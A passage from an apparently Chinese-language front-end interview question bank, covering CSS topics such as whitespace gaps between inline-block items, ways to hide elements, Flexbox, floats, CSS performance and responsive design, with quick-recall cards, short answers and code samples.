  • 与第 16、88 题同一个成因:li 设成 inline-block 后,HTML 源码里标签之间的换行/空格被渲染成空白字符
  • 解法:父元素 display:flex(根本不产生间隙,首选)
  • 父元素 font-size:0,子元素设回自己的字号
  • 标签写成一行不留空白,或用注释填住换行
  • 子元素 margin-right:-4px(依赖字号,脆弱,不推荐)
  • 记住:这是空白符渲染问题,不是 CSS bug

当 li 使用行内排列方式时,标签之间的换行和空格会被解析为文本节点,因此视觉上会出现间隔。 这不是元素自身的边距,而是源码中的空白字符参与了渲染。我一般优先把 ul 设为 display: flex,既能消除这类间隔,也更方便控制排列;旧式布局也可以让 li 使用 float: left。负 margin 虽然能抵消空隙,但数值依赖实际样式,维护时要更谨慎。

li 与 li 之间的看不见的空白间隔是由于 HTML 中的换行符和空格字符造成的。这些空白字符会被解析为文本节点,而文本节点默认会应用一定的样式,导致 li 之间产生间隔。

解决这个问题的方法有多种,以下是一些常见的解决办法:

  1. 使用负 margin:可以将 li 的 margin 设置为负值,例如 margin-right: -4px;。这样可以抵消掉 li 之间的间隔。
ul {
  margin: 0;
  padding: 0;
}

li {
  margin-right: -4px;
  padding-right: 4px;
  list-style: none;
}
  1. 使用浮动:给 li 添加 float: left; 属性,使其浮动在一行内,消除间隔。
ul {
  margin: 0;
  padding: 0;
  overflow: auto;
}

li {
  float: left;
  list-style: none;
}
  1. 使用 Flexbox 布局:将 ul 设置为 Flex 容器,使 li 自动排列在一行内,间隔消失。
ul {
  margin: 0;
  padding: 0;
  display: flex;
}

li {
  list-style: none;
}

这些方法可以根据具体情况选择使用,根据不同的布局需求选择最合适的解决办法。

# 62 请列举几种隐藏元素的方法

⚡ 30 秒速记

  • display:none:不占位、不可点、读屏器跳过、触发重排
  • visibility:hidden:占位、不可点、读屏器跳过、触发重绘
  • opacity:0:占位、依然可点(幽灵按钮坑)、读屏器会读、通常只触发合成
  • position:absolute 移出视口(left:-9999px):老式的 sr-only 写法
  • clip-path: inset(50%) 或 clip: rect(0,0,0,0):视觉隐藏但保留在无障碍树,现代 sr-only 做法
  • transform: scale(0)、height:0 + overflow:hidden、hidden 属性、[aria-hidden](只影响读屏器不影响视觉)
  • 第 2 题有交互演示可以逐个对比

隐藏元素常用 display: none、visibility: hidden、opacity: 0 和移出可视区域几类方式,区别主要在于是否占据布局空间。 display: none 不占位,而 visibility: hidden 与 opacity: 0 都会保留原位置。还可以用绝对定位配合 left: -9999px 将元素移出屏幕,或用 transform: scale(0)、height: 0 实现视觉隐藏。实际选择时要先确认后续是否还需要保留该元素的布局位置。

  1. visibility: hidden;: 设置元素为隐藏状态,但仍然占据空间。
  2. opacity: 0;: 将元素的透明度设置为0,使其完全透明。
  3. position: absolute;或left: -9999px;: 将元素定位到屏幕可见区域之外,实现隐藏效果。
  4. display: none;: 将元素设为不可见,并且不占据页面布局空间。
  5. transform: scale(0);: 将元素的缩放比例设置为0,元素将不可见,但原始位置仍保留。
  6. <div hidden="hidden">: 使用hidden属性来隐藏元素,与display: none;效果相同,但用于记录元素的状态。
  7. height: 0;: 将元素的高度设为0,消除边框,使其不可见。
  8. filter: blur(0);: 使用filter属性将元素的模糊度设置为0,从视觉上使元素“消失”。

这些方法可以根据实际需求选择适合的隐藏方式,以达到隐藏元素的效果。

# 63 rgba() 和 opacity 的透明效果有什么不同

⚡ 30 秒速记

  • 与第 39 题重复,看那题的速记卡
  • opacity 影响整个元素及其所有子元素,子元素无法透明回来
  • rgba() 只影响设置它的那个颜色属性,不波及子元素
  • opacity < 1 会创建新的层叠上下文,可能打乱 z-index
  • 背景半透明而文字不透明的场景必须用 rgba,不能用 opacity

opacity 会让元素及其内部内容一起透明,而 rgba() 只调整指定颜色本身的透明度。 比如容器设置 opacity: 0.5 后,里面的文字和图片也会变成半透明,取值范围是 0 到 1。如果只给背景设置 rgba(255, 0, 0, 0.5),受影响的只是红色背景,子元素内容不会继承这个透明效果。需要背景半透明但文字保持清晰时,我会选择 rgba()。

  • opacity 作用于元素以及元素内的所有内容(包括文字)的透明度
  • rgba() 只作用于元素自身的颜色或其背景色,子元素不会继承透明效果

opacity 和 rgba() 在透明效果上有以下不同:

  • opacity:设置元素及其内容的透明度。透明度值范围为 0(完全透明)到 1(完全不透明)。透明度会应用于元素及其内部所有内容,包括文本、图像等。这意味着如果将一个元素的透明度设置为 0.5,那么元素及其内容都会以半透明的形式显示。
.element {
  opacity: 0.5;
}
  • rgba():用于设置元素自身的颜色或背景色的透明度。这个函数接受四个参数,前三个参数表示颜色的红、绿、蓝通道的数值(取值范围 0-255),第四个参数表示透明度(取值范围 0-1)。透明度值为 0 表示完全透明,为 1 表示完全不透明。这意味着只有元素自身的颜色或背景色会受到透明度的影响,而元素内部的内容不会继承透明效果。
.element {
  background-color: rgba(255, 0, 0, 0.5); /* 红色背景,透明度为 0.5 */
}

总结来说,opacity 会影响元素及其内部所有内容的透明度,而 rgba() 只会影响元素自身的颜色或背景色的透明度,不会影响元素内部的内容。

# 64 css 属性 content 有什么作用

⚡ 30 秒速记

  • 与第 44 题重复,看那题的速记卡
  • 配合 ::before/::after 生成内容,不写 content 伪元素不渲染
  • 可取值:字符串、attr()、url()、counter()、渐变(作为图片)
  • 应用:clearfix、图标、必填红星、自动编号、纯 CSS tooltip
  • 无障碍提醒:别把关键信息只放在 content 里

content 主要配合 ::before 和 ::after 伪元素,在元素前后插入生成内容。 它既能放字符串或图标,也能通过 attr() 读取元素属性,还可以用于显示计数等内容。比如给链接前面加箭头,可以写成 content: "→",不用额外增加真实的 HTML 节点。使用时还要为伪元素设置合适的 display,如 inline 或 inline-block。

content 属性主要用于在 ::before 和 ::after 伪元素中插入额外的内容或样式。

通过设置 content 属性,可以在元素的前面或后面插入指定的内容,包括文本、图标、计数等。它可以接受各种值,如字符串、引用、计数器等。

例如,可以使用 content 属性在元素前面插入一个文本字符:

.element::before {
  content: "→";
}

上述代码将在 .element 元素的前面插入一个箭头字符。

此外,content 属性还可以与其他 CSS 属性一起使用,例如结合 attr() 函数来获取元素的属性值并插入到内容中:

.element::before {
  content: attr(data-text);
}

上述代码会将元素的 data-text 属性值插入到 .element 元素的前面作为内容。

需要注意的是,content 属性只能用于 ::before 和 ::after 伪元素中,并且必须配合 display 属性设置为 inline 或 inline-block 才能生效。

# 65 请解释一下 CSS3 的 Flexbox(弹性盒布局模型)以及适用场景

⚡ 30 秒速记

  • 核心是主轴(main axis)和交叉轴(cross axis):justify-content 管主轴,align-items 管交叉轴
  • 主轴方向由 flex-direction 决定,一旦设成 column,上面两个属性管的方向就对调 —— 这是最容易记混的点
  • flex: 1 的展开式是 flex-grow:1 flex-shrink:1 flex-basis:0%,高频追问
  • 适用一维布局:导航条、卡片列表、垂直居中、两栏自适应
  • 二维网格用 Grid 更合适;实践里常见 Grid 管页面骨架、Flex 管组件内部

Flexbox 是一种弹性盒布局模型,用来灵活地对齐、分布和调整容器中的项目。 父容器可以根据可用空间改变子项目的宽高与排列方式,因此内容多少不一致时,也比较容易做出等高或自适应布局。它还支持调整项目顺序,并能方便地实现水平居中、垂直居中和平均分布。实际开发中,它很适合响应式页面和移动端布局,也可以结合媒体查询适配不同屏幕。

Flexbox 是 CSS3 中引入的一种弹性盒布局模型,用于在容器内创建灵活的、自适应的布局。它提供了一种强大的方式来对齐、分布和调整容器中的项目。

Flexbox 的适用场景包括但不限于以下情况:

  1. 等高布局:Flexbox 可以轻松实现容器内多个项目等高的布局,无论项目的内容多少。
  2. 自适应布局:Flexbox 可以根据容器的可用空间自动调整项目的大小,以适应不同尺寸的屏幕或容器。
  3. 项目排序:Flexbox 可以通过改变项目的顺序来实现在不同屏幕尺寸下的布局调整。
  4. 对齐和分布:Flexbox 提供了多种对齐和分布项目的方式,如水平居中、垂直居中、平均分布等。
  5. 响应式设计:Flexbox 可以与媒体查询结合使用,根据屏幕尺寸调整容器中项目的布局方式。

Flexbox 的特点包括:

  • 父容器具有弹性,可以自动调整项目的大小和顺序。
  • 子项目可以具有灵活的宽度、高度和顺序。
  • 可以轻松实现响应式设计,适应不同的屏幕尺寸和设备。
  • 提供了多种对齐和分布项目的属性和方法,使布局更加灵活和易于控制。

总而言之,Flexbox 提供了一种简单、直观且强大的布局方式,适用于构建各种自适应和灵活的布局,特别适合用于构建响应式设计和移动端布局。

# 66 经常遇到的浏览器的JS兼容性有哪些?解决方法是什么

⚡ 30 秒速记

  • 这题跑题了(属于 JavaScript 章),而且内容以 IE 兼容为主,今天价值有限
  • 现代兼容性问题主要在三处:iOS Safari 落后于 Chrome(所有 iOS 浏览器都被强制用 WebKit)、微信内置浏览器版本杂、国产浏览器内核版本旧
  • 解决方案不是写 if 判断浏览器,而是:Browserslist 声明目标 → Babel + core-js 按需转译和 polyfill → Autoprefixer 加前缀
  • 运行时用特性检测('IntersectionObserver' in window)而不是 UA 嗅探
  • CSS 侧用 @supports 做渐进增强

常见的 JavaScript 兼容问题集中在样式读取、事件对象、鼠标坐标、按键码和文本内容这些浏览器接口上。 例如读取样式可优先用 getComputedStyle(),旧版 IE 则可能需要 currentStyle;事件对象也存在参数 e 与 window.event 的差异。处理这类问题时,我一般先做特性检测,再选择对应实现,也可以借助 Modernizr、jQuery 等兼容性库。浏览器嗅探可以作为识别手段,但代码仍应尽量采用一致的标准和通用方法。

经常遇到的浏览器的 JavaScript 兼容性问题及解决方法如下:

  1. 当前样式:获取元素的当前样式属性值
  • 解决方法:使用 getComputedStyle(el, null) 方法获取当前样式属性值,或者使用 el.currentStyle 属性(仅适用于 IE 浏览器)。
  1. 事件对象:处理事件时获取事件对象
  • 解决方法:使用 e 参数获取事件对象,或者使用 window.event(仅适用于 IE 浏览器)。
  1. 鼠标坐标:获取鼠标在页面上的坐标位置
  • 解决方法:使用 e.pageX 和 e.pageY 获取鼠标坐标位置,或者使用 window.event.x 和 window.event.y(仅适用于 IE 浏览器)。
  1. 按键码:处理键盘事件时获取按下的键盘按键码
  • 解决方法:使用 e.which 获取按键码,或者使用 event.keyCode(仅适用于 IE 浏览器)。
  1. 文本节点:获取元素中的文本内容
  • 解决方法:使用 el.textContent 获取文本内容,或者使用 el.innerText(仅适用于 IE 浏览器)。

为了解决浏览器的兼容性问题,可以采取以下方法:

  1. 特性检测:通过检测浏览器是否支持某个特定的方法或属性,从而决定使用哪种方式来处理。
  2. 浏览器嗅探:根据浏览器的用户代理字符串来识别浏览器类型,从而采取相应的处理方式。
  3. 使用兼容性库:如 Modernizr、jQuery 等,它们封装了许多兼容性处理的方法,可以简化开发过程。
  4. 编写跨浏览器的代码:使用一致的标准和通用的 JavaScript 方法,避免依赖特定浏览器的特性。

综上所述,通过特性检测、浏览器嗅探、使用兼容性库以及编写跨浏览器的代码,可以解决常见的浏览器 JavaScript 兼容性问题。

以下是对每个兼容性问题的示例代码:

1. 当前样式:

var el = document.getElementById('myElement');

// 获取当前样式属性值
var currentStyle;
if (window.getComputedStyle) {
  currentStyle = window.getComputedStyle(el, null).getPropertyValue('color');
} else if (el.currentStyle) {
  currentStyle = el.currentStyle.color;
}
console.log(currentStyle);

2. 事件对象:

// 处理点击事件
function handleClick(e) {
  // 获取事件对象
  var event = e || window.event;
  console.log(event);
}

// 绑定点击事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('click', handleClick, false);
} else if (element.attachEvent) {
  element.attachEvent('onclick', handleClick);
}

3. 鼠标坐标:

// 处理鼠标移动事件
function handleMouseMove(e) {
  // 获取鼠标坐标位置
  var mouseX, mouseY;
  if (e.pageX || e.pageY) {
    mouseX = e.pageX;
    mouseY = e.pageY;
  } else if (e.clientX || e.clientY) {
    mouseX = e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
    mouseY = e.clientY + document.body.scrollTop + document.documentElement.scrollTop;
  }
  console.log('Mouse position: ' + mouseX + ', ' + mouseY);
}

// 绑定鼠标移动事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('mousemove', handleMouseMove, false);
} else if (element.attachEvent) {
  element.attachEvent('onmousemove', handleMouseMove);
}

4. 按键码:

// 处理键盘按下事件
function handleKeyDown(e) {
  // 获取按键码
  var keyCode = e.which || e.keyCode;
  console.log('Key pressed: ' + keyCode);
}

// 绑定键盘按下事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('keydown', handleKeyDown, false);
} else if (element.attachEvent) {
  element.attachEvent('onkeydown', handleKeyDown);
}

5. 文本节点:

var el = document.getElementById('myElement');

// 获取元素中的文本内容
var textContent;
if ('textContent' in el) {
  textContent = el.textContent;
} else if ('innerText' in el) {
  textContent = el.innerText;
}
console.log(textContent);

请根据实际情况修改示例代码,并结合特性检测、浏览器嗅探、使用兼容性库以及编写跨浏览器的代码的方法来解决兼容性问题。

# 67 请写出多种等高布局

⚡ 30 秒速记

  • Flex(首选):父 display:flex,子项默认 align-items:stretch 就是等高
  • Grid:同一行的网格项天然等高
  • 表格法:父 display:table,子 display:table-cell
  • 老 hack:padding-bottom 一个大值 + margin-bottom 负同值 + 父级 overflow:hidden(伪等高)
  • 更老的:给父元素铺一张纵向重复的背景图伪造等高列
  • 面试直接答 Flex/Grid,后面几种只当历史知识

等高布局可以用 Flexbox、CSS Grid、表格布局、伪元素或脚本计算来实现。 常规场景我会优先用 display: flex 配合 align-items: stretch,代码少,子项会自动拉伸到同一高度。网格布局适合行列关系明确的页面,表格法则通过 display: table-cell 获得等高效果。遇到特殊结构还可以用绝对定位的伪元素补齐背景,或由脚本取最大高度,但要权衡兼容性和代码复杂度。

  1. 使用 JavaScript/jQuery:通过脚本计算元素高度,并将最大高度应用于其他元素。
  2. 使用伪元素和绝对定位:在容器元素中添加一个伪元素,使用绝对定位将其拉伸到与最高元素相同的高度。
  3. 使用表格布局:将容器元素设置为display: table,将子元素设置为display: table-cell,然后使用vertical-align: top或其他对齐方式来实现等高效果。
  4. 使用网格布局(CSS Grid):使用grid-template-rows属性将所有行设置为相同的高度。
  5. 使用flexbox嵌套:将容器元素设置为display: flex,然后在每个子元素中再嵌套一个flexbox容器,将子元素的高度设置为100%,从而实现等高布局。
  6. css3 flexbox 布局: .container{display: flex; align-items: stretch;}

需要根据具体情况选择适合的等高布局方法,考虑兼容性、布局需求和代码复杂度等因素。

# 68 浮动元素引起的问题

⚡ 30 秒速记

  • 父元素高度塌陷(不计算浮动子元素的高度),背景和边框跟着失效
  • 与浮动元素相邻的非浮动元素会被覆盖,只有其中的行内内容被挤开
  • 浮动元素之间的换行受宽度影响,窗口一窄就掉行错位
  • 解决:clearfix 伪元素、触发 BFC(overflow / flow-root)
  • 根本解法:改用 Flex/Grid,从源头不产生这些问题

浮动元素脱离普通文档流后,容易造成父元素高度塌陷、内容重叠和文字环绕。 父级没有计算浮动子项的高度时,后续布局以及父级的背景、边框都可能表现异常;剩余空间不足时,其他元素也可能与它挤在一起。常见处理是在父级末尾用 ::after 生成块级内容,并设置 clear: both。如果某个元素不应该环绕浮动内容,也可以给它设置 clear,或改用更合适的布局方式。

浮动元素可能引起以下问题:

  1. 父元素高度塌陷:当父元素包含了浮动元素时,如果没有清除浮动,父元素的高度将无法被正确计算,导致父元素的高度塌陷,影响页面布局。

解决方法:可以在父元素的末尾添加一个空的块级元素,并设置其清除浮动的属性。例如:

.parent::after {
  content: "";
  display: block;
  clear: both;
}
  1. 元素重叠:浮动元素脱离了正常的文档流,可能导致其他元素与其重叠。这通常发生在没有足够空间容纳浮动元素的情况下。

解决方法:可以通过在需要避免重叠的元素上应用clear属性或使用适当的布局技术来解决重叠问题。

  1. 文字环绕:浮动元素会导致周围的文本环绕在其周围,可能影响页面的可读性和布局。

解决方法:可以使用clear属性或使用适当的布局技术来控制浮动元素周围的文本布局,确保页面的可读性和整体布局。

  1. 父元素高度不准确:如果父元素包含浮动元素而没有设置清除浮动,父元素的高度可能不准确,可能会导致布局问题。

解决方法:可以在父元素上应用清除浮动的样式,或使用其他布局技术来解决父元素高度不准确的问题。

总的来说,使用浮动元素时,应注意处理相关的布局问题,避免出现高度塌陷、重叠和布局混乱等问题。可以使用清除浮动、适当的布局技术或其他CSS属性来解决这些问题。

# 69 CSS优化、提高性能的方法有哪些

⚡ 30 秒速记

  • 与第 25 题同考点
  • 加载层:关键 CSS 内联、非关键异步加载、按路由拆包、去无用样式、压缩
  • 解析层:选择器别嵌套太深(浏览器从右往左匹配)、避免通配符和过度使用属性选择器
  • 渲染层:动画只改 transform/opacity、合理用 will-change、避免强制同步布局、用 content-visibility 跳过屏幕外渲染
  • 资源层:字体子集化 + font-display:swap、小图标用 SVG 不用 base64 大图
  • 用数据说话:以 LCP / CLS / INP 为验收指标,别只说"变快了"

优化 CSS,核心是减少传输和请求成本、降低选择器匹配复杂度,并避免无谓的重排与重绘。 加载方面可以合并和压缩样式文件、删除空规则,并把样式放在页面头部,让浏览器尽早开始渲染。代码方面我会控制选择器嵌套深度,利用继承、公共样式和简写属性减少重复。小图标较多时可考虑雪碧图,但具体是否合并资源,还要结合页面结构和维护成本判断。

以下是一些优化和提高CSS性能的方法:

  1. 合并CSS文件:将多个CSS文件合并为一个文件,减少HTTP请求次数。
  2. 将CSS文件放在页面最上面:确保CSS文件在HTML文件中的头部,以便浏览器尽早加载和渲染样式。
  3. 移除空的CSS规则:删除不需要的空的CSS规则,减少文件大小。
  4. 避免使用CSS表达式:CSS表达式在每次页面重绘时都会执行,对性能有一定影响,应避免使用。
  5. 优化选择器嵌套:避免过深的选择器嵌套,减少选择器的复杂度,以提高选择器匹配速度。
  6. 最大限度地利用CSS继承:合理利用CSS属性的继承特性,减少重复的代码量。
  7. 抽象和提取公共样式:将重复的样式抽象出来,提取为公共样式,减少重复的代码量。
  8. 使用简写属性:合理使用CSS的简写属性,减少代码量,例如使用margin代替margin-top、margin-right等单独属性。
  9. 避免不必要的浏览器重绘和重排:在进行DOM操作时,尽量减少对页面布局的影响,以避免不必要的浏览器重绘和重排。
  10. 使用CSS雪碧图:将多个小的图标合并到一个图像文件中,通过CSS的背景定位来显示不同的图标,减少HTTP请求次数。
  11. 使用压缩和缩小CSS文件:使用CSS压缩工具,将CSS文件进行压缩和缩小,减少文件大小,提高加载速度。

这些方法可以帮助优化和提高CSS性能,减少文件大小和HTTP请求次数,加快页面加载速度,提升用户体验。

# 70 浏览器是怎样解析CSS选择器的

⚡ 30 秒速记

  • 关键结论:从右往左匹配,不是从左往右
  • 原因:右边的"关键选择器"最具体,先用它筛掉绝大部分元素,能最快排除不匹配的分支
  • 举例 .nav ul li a:先找到所有 a,再往上验证父级是不是 li → ul → .nav,一旦不符合立刻放弃
  • 推论:选择器越深、最右边越宽泛(比如 .list *)性能越差
  • 实践建议:保持选择器扁平(BEM 这类命名法天生扁平),别写超过三层的后代选择器
  • 补充:现代浏览器有 Bloom filter 等优化,实际性能差距通常没那么大,但深层选择器的可维护性问题依然成立

浏览器通常从选择器最右侧开始匹配,再逐步向左检查祖先元素是否满足条件。 例如 .nav li a 会先找到符合 a 的元素,再向上验证是否存在匹配的 li 和 .nav。这样能较早排除不匹配的节点,面对复杂选择器和大量元素时,可以减少后续检查范围。属性选择器、伪类等情况可能采用不同的优化方式,所以工程上更重要的是避免选择器过深、过于复杂。

浏览器解析CSS选择器的过程是从右到左进行的。当浏览器遇到一个CSS规则时,它会从选择器的最右边开始解析,然后逐步向左匹配元素。

具体的解析过程如下:

  1. 浏览器从右向左选择器的最右边开始解析,找到与该选择器匹配的元素。
  2. 然后,浏览器向左继续解析选择器的下一个部分,检查该元素的父元素是否满足选择器的条件。
  3. 如果满足选择器的条件,则继续向左解析选择器的下一个部分,继续检查父元素的父元素是否满足选择器的条件。
  4. 浏览器重复这个过程,直到解析完整个选择器或者找不到与选择器匹配的元素。

这种从右到左的解析方式可以提高选择器的性能,特别是在面对复杂的选择器和大量元素的情况下。因为从右到左的解析可以尽早过滤掉不匹配的元素,减少了需要遍历的元素数量,提高了选择器的匹配速度。

需要注意的是,并非所有的CSS选择器都适用于从右到左的解析方式,例如属性选择器、伪类选择器等可能需要从左到右进行解析。浏览器在解析CSS选择器时会根据具体的情况选择最优的解析方式。

# 71 在网页中的应该使用奇数还是偶数的字体

⚡ 30 秒速记

  • 与第 19 题重复,看那题的速记卡
  • 结论是偶数:便于按 1.5 倍算行高不出小数、主流设计稿都用偶数、@2x/@3x 缩放整除
  • 历史原因是 Windows 早期点阵字体只优化了 12/14/16
  • 现代高分屏 + 矢量渲染已基本无差别,这题考的是来龙去脉

网页字号一般优先使用偶数,但不必把它当成硬性规则。 偶数字号更容易和页面里的尺寸形成稳定的比例关系,文本对齐时也更方便。部分浏览器和操作系统对奇数字号的呈现可能存在差异,因此中文排版常见 12px、14px。最终仍要结合设计需求、内容密度和可读性选择,视觉效果合适时也可以使用奇数字号。

在网页中,一般推荐使用偶数号的字体大小。以下是一些原因:

  1. 比例关系:偶数字号相对更容易与网页设计的其他部分形成比例关系,使整个页面看起来更加协调和平衡。
  2. 对齐:使用偶数字号字体可以使文本段落对齐更加方便。如果使用奇数字号字体,文本段落的对齐可能会受到影响,因为奇数字号字体的基线位置可能会导致对齐不准确。
  3. 兼容性:在某些情况下,奇数字号字体可能在不同浏览器和操作系统中显示不一致。使用偶数字号字体可以减少这种显示差异的可能性。

对于中文网页排版,常用的字体大小是12号和14号。这两个偶数字号字体大小在中文排版中使用较多,可以提供良好的可读性和视觉效果。

需要注意的是,具体选择何种字体大小还要根据设计需求、内容呈现和用户体验等因素进行综合考虑。

# 72 margin和padding分别适合什么场景使用

⚡ 30 秒速记

  • padding 是内边距,属于元素自身的一部分,会被背景色覆盖、参与点击区域
  • margin 是外边距,是元素与外界的距离,透明、不参与点击、会发生折叠
  • 用 padding:撑开元素自身内容与边框的距离、扩大按钮的点击热区
  • 用 margin:控制元素之间的间隔、用 auto 做水平居中
  • 实践建议:组件内部间距用 padding(跟着组件走),组件之间的间距用 margin 或父级的 gap
  • 现代做法优先用 Flex/Grid 的 gap —— 不会折叠、不会影响首尾元素,比 margin 干净

margin 适合控制元素与外部的距离,padding 适合控制内容与元素边框的距离。 想拉开两个模块,或者调整元素相对周围内容的位置时,我一般使用 margin。如果要给文字和边框留出空间,或让背景色、背景图覆盖这块空白区域,就使用 padding。两者有时看起来可以互换,但是否需要背景填充、是否要影响元素自身尺寸,通常是选择的关键。

margin 和 padding 在布局和样式设计中有不同的用途和适用场景。

适合使用 margin 的场景:

  • 创建元素之间的空白间距,用于调整元素之间的间隔。
  • 添加外部空白,使元素与周围的元素或容器之间产生间距。
  • 用于调整元素的定位和对齐。
  • 用于调整元素的外边距折叠效果(当相邻元素的外边距相遇时)。

适合使用 padding 的场景:

  • 在元素的内部添加空白区域,用于调整元素内部内容与边框之间的距离。
  • 用于创建元素的背景色或背景图的填充区域。
  • 用于调整元素的内边距,影响元素内容与边框的距离。
  • 用于控制元素的尺寸和布局。

需要根据具体的设计需求和布局目标来决定使用 margin 还是 padding。在一些情况下,它们可以互相替代使用,但在其他情况下,选择正确的属性可以更好地控制布局和样式效果。

# 73 抽离样式模块怎么写,说出思路

⚡ 30 秒速记

  • 按职责分层:基础层(reset、变量、字体)→ 布局层(栅格、容器)→ 组件层(按钮、卡片)→ 工具层(间距、文本对齐)→ 主题层
  • 命名约定选一套并坚持:BEM(block__element--modifier)最常见,天生扁平不堆权重
  • 用 CSS 变量做主题:颜色、圆角、间距抽成变量,换肤只改一处
  • 工程手段:CSS Modules 做局部作用域,或 CSS-in-JS,或 Tailwind 的原子类
  • 现代 CSS 还可以用 @layer 明确层级顺序,彻底告别 !important
  • 答题技巧:讲清楚"为什么这样分层"(可复用、可覆盖、可维护)比列目录结构重要

抽离样式模块的核心,是把公共规则集中复用,再让各业务模块只维护自己的样式。 我会先提取颜色、字体、按钮等公共样式,然后按页面结构拆成 header.css、sidebar.css 这类独立文件。命名上统一采用 BEM 等约定,并控制文件引入顺序,减少选择器冲突和意外覆盖。项目构建时还可以通过 webpack 或 gulp 合并、压缩和打包,后续需求变化也只需更新对应模块。

抽离样式模块的思路可以按照以下步骤进行:

  1. 识别公共样式:分析页面中多个模块或页面之间共享的样式,例如颜色、字体、按钮样式等,将其提取为公共样式。
  2. 创建公共样式表:将公共样式抽离到单独的样式表文件中,例如 common.css,以便在多个页面或模块中引用。
  3. 定义命名规范:为业务样式定义统一的命名规范,例如使用 BEM(Block-Element-Modifier)或其他命名约定,确保样式模块的可维护性和可扩展性。
  4. 拆分业务样式:根据页面或模块的功能和结构,将样式拆分为多个模块,并命名为相应的类名或选择器。每个模块应只关注自身的样式,并尽量避免与其他模块产生冲突。
  5. 创建样式模块文件:为每个样式模块创建单独的样式文件,例如 header.css、sidebar.css 等,并按需引入到页面中。
  6. 构建样式层级结构:根据页面或模块的结构和层级关系,合理组织样式文件的引入顺序,确保样式的层叠顺序和继承关系正确。
  7. 统一管理样式文件:根据项目需要,可以使用构建工具(如 webpack、gulp 等)进行样式文件的合并、压缩和打包,减少网络请求和提升页面加载速度。
  8. 维护和更新:在日常开发中,根据需求的变化和新功能的添加,及时更新和维护样式模块,保持样式的一致性和可复用性。

通过以上步骤,可以将样式按照模块化的方式进行抽离和管理,提高代码的可读性、可维护性和重用性。同时,样式模块的拆分也有助于团队协作和并行开发。

# 74 元素竖向的百分比设定是相对于容器的高度吗

⚡ 30 秒速记

  • 分情况,这正是这题的考点
  • height 的百分比:相对包含块的 height,且父元素必须有明确高度,否则百分比失效(父高度 auto 时算不出来)
  • padding 和 margin 的百分比:无论横向纵向,都相对包含块的 width,不是 height —— 这是最反直觉的一条
  • 正因如此,padding-top: 56.25% 可以做出 16:9 的自适应比例盒子(老技巧)
  • 现代替代:直接用 aspect-ratio: 16/9,比 padding hack 直观得多
  • top/bottom 的百分比相对包含块的 height;left/right 相对 width

如果说的是元素的百分比高度,那么它通常相对于包含它的父元素高度计算。 例如设置 height: 50%,表示元素高度取父元素高度的一半。关键边界是父元素必须有可确定的高度;如果父元素保持 height: auto,百分比高度可能无法生效。作为对比,百分比宽度按照父元素宽度计算,所以横向和竖向使用的参照尺寸并不相同。

实际上,元素竖向的百分比设定是相对于包含它的父元素的高度,而不是宽度。当给一个元素设置竖向的百分比高度时,它会根据其父元素的高度进行计算。例如,如果一个元素的高度设置为50%,则表示该元素的高度将是其父元素高度的50%。

请注意,如果父元素没有明确设置高度,或者父元素的高度是由其内容决定的(如默认的height: auto),那么百分比高度可能无效,因为无法确定相对的基准高度。

需要注意的是,元素的宽度百分比设定是相对于包含它的父元素的宽度。因此,元素的百分比设定在竖向和横向方向上是不同的。

# 75 全屏滚动的原理是什么? 用到了CSS的那些属性

⚡ 30 秒速记

  • 原理:每屏高度 100vh,滚动时整屏切换而不是连续滚动
  • 纯 CSS 方案(推荐):容器 scroll-snap-type: y mandatory,每屏 scroll-snap-align: start,浏览器自动吸附
  • JS 方案:监听 wheel/touch 事件,阻止默认滚动,用 transform: translateY 整体位移,配 transition 做过渡
  • 关键属性:height:100vh(移动端建议用 100dvh 避开地址栏高度变化)、overflow:hidden、scroll-behavior:smooth、transform、transition
  • 注意无障碍:劫持滚动会破坏键盘和读屏器的浏览体验,要保留正常滚动的兜底

全屏滚动本质上是让每次滚动切换一整屏内容,而不是让页面连续移动。 页面会监听滚轮或触摸事件,再根据滚动距离决定显示哪一屏。样式上通常用 overflow: hidden 隐藏视口外内容,并通过 transform: translate() 移动页面,配合 display: none 控制内容显隐。具体采用整体位移还是逐屏切换,要根据页面结构和动画需求决定。

全屏滚动(Full Page Scroll)的原理是通过设置页面的高度为视口高度,并使用滚动事件来控制页面的滚动效果。通过监听滚动事件,当用户滚动页面时,根据滚动的距离来切换页面的显示内容,实现页面的切换效果。

在实现全屏滚动时,可能会用到以下一些CSS属性:

  • overflow: hidden;:用于隐藏超出视口范围的内容,以实现滚动效果。
  • transform: translate(100%, 100%);:通过translate属性将页面移动到视口之外,从而隐藏页面的初始位置。
  • display: none;:可以将页面的初始状态设置为隐藏,待滚动到相应位置时再显示。

这些属性可以结合使用,根据滚动事件的触发来控制页面的显示和隐藏,从而实现全屏滚动的效果。具体的实现方式可能因应用场景而有所差异。

# 76 什么是响应式设计?响应式设计的基本原理是什么?如何兼容低版本的IE

⚡ 30 秒速记

  • 定义:一套代码适配不同尺寸设备,内容随视口连续流动地重排,而不是做几个独立版本
  • 三大基础:流式网格(百分比/fr)、弹性图片(max-width:100%)、媒体查询(断点切换)
  • 必备前提:<meta name="viewport" content="width=device-width, initial-scale=1">
  • 现代做法:Flex/Grid + clamp() 做流体排版 + 容器查询 @container(按组件容器宽度适配,比视口更合理)
  • IE 兼容那部分已经没意义了(IE 全线退役),面试可以直接说明这一点
  • 移动优先原则:默认写小屏样式,用 min-width 逐级增强,CSS 体积更小

响应式设计是让同一套网站适配不同尺寸的终端,不必为每种设备单独开发一个版本。 它主要依靠 CSS3 媒体查询,在不同屏幕宽度下应用对应的布局和样式。低版本 IE 不支持相关能力时,可以用 JavaScript 获取窗口宽度,并在 resize 事件中切换 body 的类名。这个方案需要自己维护宽度区间,因此断点较多时会增加样式和脚本的维护成本。

  • 响应式设计就是网站能够兼容多个终端,而不是为每个终端做一个特定的版本
  • 基本原理是利用CSS3媒体查询,为不同尺寸的设备适配不同样式
  • 对于低版本的IE,可采用JS获取屏幕宽度,然后通过resize方法来实现兼容:
$(window).resize(function () {
  screenRespond();
});
screenRespond();
function screenRespond(){
var screenWidth = $(window).width();
if(screenWidth <= 1800){
  $("body").attr("class", "w1800");
}
if(screenWidth <= 1400){
  $("body").attr("class", "w1400");
}
if(screenWidth > 1800){
  $("body").attr("class", "");
}
}

# 77 什么是视差滚动效果,如何给每页做不同的动画

⚡ 30 秒速记

  • 视差:页面滚动时,不同层级的元素以不同速度移动,制造景深感
